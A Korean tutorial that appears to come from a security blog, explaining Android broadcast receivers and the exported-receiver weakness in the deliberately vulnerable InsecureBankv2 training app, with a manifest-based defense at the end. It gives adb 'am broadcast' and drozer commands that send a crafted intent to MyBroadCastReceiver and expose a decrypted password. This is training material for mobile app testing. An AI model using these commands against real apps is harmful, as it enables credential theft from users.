1. 브로드캐스트 리시버란?
안드로이드 시스템의 중요한 요소 중 하나로, 안드로이드
디바이스에서 이벤트가 발생하면 브로드캐스트 신호를 보내게 되는데, 이 신호를 받아 처리하는 역할을 수행한다.
신호를 받을 경우 어플리케이션에서 정의해 놓은 작업을 수행합니다.여기서 말하는 이벤트는 다음과 같습니다.
- 문자 메세지 송, 수신
- 배터리 상태
- 다른 어플에서 발생하는 이벤트
2. 취약한 브로드캐스트리시버
개요
APK파일의 Manifests에서 해당 브로드캐스트 리시버를 설정할 수 있습니다.
여기서 주로 봐야할 것은 두가지인데요
- 클래스 이름
- exported 여부
exported=true
로 되어있는 경우 다른 어플리케이션으로부터 intent를 받을 수 있습니다.exported=false
로 되어있는 경우 같은 uid를 가진 어플리케이션으로부터만 intent를 받을 수 있습니다.취약점
exported=true
로 되어있는 경우. 다른 어플리케이션 혹은 adb로 브로드캐스트를 보낼 수 있고, 이 과정에서 취약점이 발생할 수 있습니다.예시 코드를 보겠습니다. (인시큐어뱅크)
해당 코드를 보면, 브로드캐스트 이벤트가 생기면 해당 이벤트에서 (사실 뭔가 억지 코드 같기도)
phonenumber
와 newpass
를 인자로 받아 비밀번호를 바꾸는 것 같은 요청을 합니다. 여기서 중요하게 봐야 할 것은 비밀번호가 업데이트 되면서 이전의 비밀번호를 노출한다는 점입니다.
3. Exploit
로그인
기본적으로 해당 코드는 어플리케이션에 저장되어 있는 값을 기반으로 decrypt를 진행합니다. 따라서 해당 데이터가 저장되려면 인시큐어뱅크 어플리케이션에 로그인을 성공해야만 합니다.
브로드캐스트 테스트
adb에서 브로드캐스트를 생성하는 것은 다음과 같습니다.
adb shell am broadcast -a <브로드캐스트이름> -n <테스트할 클래스 이름> --es <인자>
am을 이용하여 브로드캐스트를 생성하고, 인시큐어뱅크 앱의 MyBroadCastReceiver로 브로드캐스팅 합니다.
로그를 보면
phonenumber is null
로그를 볼 수 있습니다.그렇다면 아무 전화번호와 바꿀 패스워드를 인자로 줘보겠습니다.
decrypt된 비밀번호가 노출됩니다.
drozer을 이용한 테스트
# scan run app.package.attacksurface <패키지 이름> # 브로드캐스트 리시버 확인 run.broadcast.info -a com.android.insecurebankv2 # 테스팅 run app.broadcast.send --component <패키지 이름> <패키지이름>.<리시버 이름> --extra <타입> <변수명> <데이터> run app.broadcast.send --component com.android.insecurebankv2 com.android.insecurebankv2.MyBroadCastReceiver --extra string phonenumber 5555
4. defense
AndroidManifest.xml 내 reciver컴포넌트의 값을 false로 변경
exported="false"